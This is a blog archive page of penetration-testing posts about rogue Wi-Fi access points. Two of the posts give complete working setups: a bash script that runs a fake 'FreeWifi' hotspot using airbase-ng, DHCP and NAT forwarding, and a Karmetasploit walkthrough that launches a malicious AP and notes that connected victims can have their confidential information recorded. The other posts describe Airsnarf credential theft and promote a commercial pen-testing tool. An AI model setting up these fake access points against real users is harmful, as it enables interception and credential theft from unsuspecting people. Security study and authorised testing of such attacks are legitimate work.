Affichage des articles dont le libellé est Rogue Access Point. Afficher tous les articles
Affichage des articles dont le libellé est Rogue Access Point. Afficher tous les articles

How to Create a Fake Access Point Backtrack 5

Rouge access point or a fake access point is the real threat for WiFi users, Airsnarf - Rogue Access Point and Karmetasploit- Backtrack 5 Tutorial has been discussed before and in this article I will a wonder tutorial from a wonderful that discuss how to create a fake access point on backtrack 5. There are a lot of Tutorials and Scripts for setting up a Fake AP,  The “Gerix”  tool also have an option to auto set a Fake AP (for some reason this tool never worked for me).

I started to setup my fake AP and had run into some trouble for a strange reason.
I decided to put my experience here hopefully you’ll find it useful.
Started by putting my Wlan interface in monitor mode
root@Blackbox:~/fakeap# airmon-ng start wlan1
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1558 dhclient
Interface Chipset Driver
wlan1 Realtek RTL8187L rtl8187 - [phy1]SIOCSIFFLAGS: Unknown error 132
(monitor mode enabled on mon0)
I noticed the following error: “Unknown error 132″
Tried using airodump-ng to see what happens…

root@Blackbox:~/fakeap# airodump-ng mon0
ioctl(SIOCSIFFLAGS) failed: Unknown error 132
Got the same error.
The solution was simply to unload the RTL8187 and Load the R8187 driver instead as follows:
root@Blackbox:~/fakeap# rmmod rtl8187
root@Blackbox:~/fakeap# modprobe r8187
Tried putting wlan In monitor mode again
root@Blackbox:~/fakeap# airmon-ng start wlan1
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1558 dhclient
Interface Chipset Driver
wlan1 RTL8187 r8187 (monitor mode enabled)
Well, that fixed the problem
root@Blackbox:~/fakeap# iwconfig
lo no wireless extensions.
eth3 no wireless extensions.
wlan1 802.11b/g Mode:Monitor Channel=10 Bit Rate=11 Mb/s
Tx-Power=5 dBm
Retry:on Fragment thr:off
Link Quality=0/100 Signal level=50 dBm Noise level=-156 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Now we can proceed to the fake ap setup process
1. Install a DHCP Server
apt-get install dhcp3-server
2. Edit “/etc/dhcp3/dhcpd.conf” as follows (You can change ip address, pool and dns server as needed):
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}
3. Put your wlan in monitor mode
airmon-ng start wlan1
4. Start airbase-ng, you will need to specify the AP SSID and channel number
airbase-ng -e FreeWifi -c 11 -v wlan1 &
5. Airbase will create a new adapter “at0″ you will need to enable it and assign it with an ip address and subnet mask, the ip address you assign to this interface will be the default gateway that you specified in the dhcpd.conf file.
ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0
6. Add a route
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254
7. Setup ip tables
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
• Eth3 is my external interface which is connected to the internet change it to whatever yours is
iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE
8. Clear dhcp leases
echo > '/var/lib/dhcp3/dhcpd.leases'
9. Create a symlink to dhcpd.pid (skipping this may cause an error when starting dhcp server)
ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
10. Start the DHCP server
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
11. Don’t forget to enable IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
That’s All Folks!
I have created a simple bash script to automate this process you will just need to change it  to suit your configuration.


#!/bin/bash

echo "Killing Airbase-ng..."
pkill airbase-ng
sleep 2;
echo "Killing DHCP..."
pkill dhcpd3
sleep 5;

echo "Putting Wlan In Monitor Mode..."
airmon-ng stop wlan1 # Change to your wlan interface
sleep 5;
airmon-ng start wlan1 # Change to your wlan interface
sleep 5;
echo "Starting Fake AP..."
airbase-ng -e FreeWifi -c 11 -v wlan1 & # Change essid, channel and interface
sleep 5;

ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254

sleep 5;

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE # Change eth3 to your internet facing interface

echo > '/var/lib/dhcp3/dhcpd.leases'
ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

sleep 5;
echo "1" > /proc/sys/net/ipv4/ip_forward


The over all credit goes to Exploit KB



Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ samedi 10 mars 2012 0 commentaires

Karmetasploit- Backtrack 5 Tutorial

Wireless communication is now become a need of networking, radio signals are unseen but they carry your information on the form of bits by using different modulation techniques. However security is very important for wireless network because it is more vulnerable. As discussed before about wireless security and rogue access point, in this article i will try to cover Karmetasploit.

Metasploit is now one of the best tool for penetration testing and the word Karmetasploit has driven from two words one is KARMA (KARMA Attacks Radioed Machines Automatically) and the other is Metasploit.  

So what is Karmetasploit? 

KARMA is a wireless client attack toolkit and the integration of Karma and metasploit is called Karmetasploit, in 2004 Dino A. Dai Zovi and Shane A. Macaulay did a presentation called "All your layer are belong to us" in that presentation they have described the insecurity of wireless access point and introduced the tool KARMA. This tool acts as wireless access point and responds to all probe requests from wireless clients. Once a client has associated with the KARMA access point, every service they try to access leads to a malicious application.

The above passage gives the basic introduction of KARMA and about Metasploit your can learn from here.

Karmetasploit Tutorial
Configuration 

If you are not using backtrack 5 than you must have to install some dependencies like Aircrack-ng 
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install 
# airmon-ng start [wifi-interface]
For backtrack like backtrack5 follow the procedure
root@bt:/pentest/exploits/framework3# wget http://www.offensive-security.com/downloads/karma.rc
Now here is the need to configure DHCP server so that the Fake AP connect with the network.
root@bt:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}
root@bt:~# gem install activerecord sqlite3-ruby
By we approx done now the time to restart the wireless interface and start listening.
root@bt:~# airmon-ng
root@bt:~# airmon-ng stop ath0
root@bt:~# airmon-ng start wifi0
root@bt:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1
What this commands do? These command is used to create a new interface that is rogue interface or fake AP, now we have to assign IP address and DHCP configuration so the interface work properly.
root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0root@bt:~# ps aux | grep dhcpd
Karmetasploit Attack Vector 
After configuration you are ready to run karmetasploit and start an attack 
root@bt:~# cd /pentest/exploits/framework3/
root@bt:/pentest/exploits/framework3# msfconsole -r karma.rc 
The command will start metasploit and than Karma script start to act as a fake AP and it will give you the command like this 
msf auxiliary(http) >
When the victim will start using this AP you are free to monitor all the activities and you can record of the confidential information.
msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.google.com)
This is little advance tutorial and if you dont understand it than it means you have to understand rogue access point first.

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ dimanche 7 août 2011 0 commentaires

CORE IMPACT Pro Penetration Testing Software

Metasploit is one of the best and famous  penetration testing software developed by the open source community but if you think that metasploit is only king in the world of ethical hacking and exploitation than you are wrong. There are different best alternatives of metasploit available on the market like CORE IMPACT Pen testing solution and others, but the importance of metasploit is remain constant because it is open source and you can use it free.

If you want to do a smart penetration testing and your budget allow you to expand some money on it than why not to buy some professional tools that will really help you to work done.

CORE IMPACT Pro is the most comprehensive software solution for assessing the real-world security of:
  • Web applications
  • Network systems
  • Endpoint systems and email users
  • Wireless networks
  • Network devices
For web application testing it allows a wide rang of options like it can find the following vulnerabilities :
  • Persistent Cross-Site Scripting (XSS)
  • Reflective Cross-Site Scripting (both for static HTML and Adobe Flash® objects)
  • SQL Injection
  • Blind SQL Injection
  • Remote File Inclusion for PHP applications
For network penetration testing it can gather the maximum information about each and every node. It has a broad features like network scanning, port scanning, OS finger printing, find critical services and its exploits etc.

For wireless penetration testing it can discover both known and unauthorized (rogue) access point, it can detect the signal strength and the protocols, it can conduct man-in-the-middle-attack and cracking like WEP,WPA and WPA2. 

key Features 

There are a lots of point that can be discussed under this heading but i want you to read the complete features from here. You can understand the exploits by here
The complete demonstration with a little tutorial can be find here, beside each and everything you can learn and even get a certificate from Core Security technologies click here to learn more. In short it is a good alternatives of metasploit.


Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ jeudi 28 juillet 2011 0 commentaires

Airsnarf - Rogue Access Point

Access points are those points that has router to spread the radio signals of a network, these type of router have antenna(s) (smart or omni directional), the main aim of using these access point is to establish a wireless (Wi-Fi) network. Wireless networks are the rising network that are currently using by the organizations, for public places and for home usage.    


Wi-Fi network has different vulnerabilities that can be exploit, as discussed before about wardriving. In wardriving you are searching for an access point to exploit but what if an access point is searching for you to exploit, strange but true and the term can be called an Inverse wardriving.


In inverse wardriving an attacker has to create a rogue access point, so the question is what is rogue access point? A rogue access point is a access point that has been installed without the permission of legitimate user (Administrator), rogue access point is a biggest threat for wireless network for large organization because it is open a way to launch man-in-the-middle attack, and it is a backdoor to enter into an Enterprise network.


It is a layer 2 attack that can be turn into layer 3 attack, here is the video demonstration that will better explain rogue access point. Thanks to the AirTightNetworks for the wonderful video.





There is another awesome video that explain rouge access point and available on securitytube.


I hope after this you have an idea about rogue access point, Airsnarf is a simple rogue wireless access point setup utility designed to demonstrate how a rogue AP can steal usernames and passwords from public wireless hotspots.  Airsnarf was developed and released to demonstrate an inherent vulnerability of public 802.11b hotspots--snarfing usernames and passwords by confusing users with DNS and HTTP redirects from a competing AP. Follow the link to learn more about Airsnarf.


Note: If you want to learn more about Linux(Backtrack 5) and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ vendredi 22 juillet 2011 0 commentaires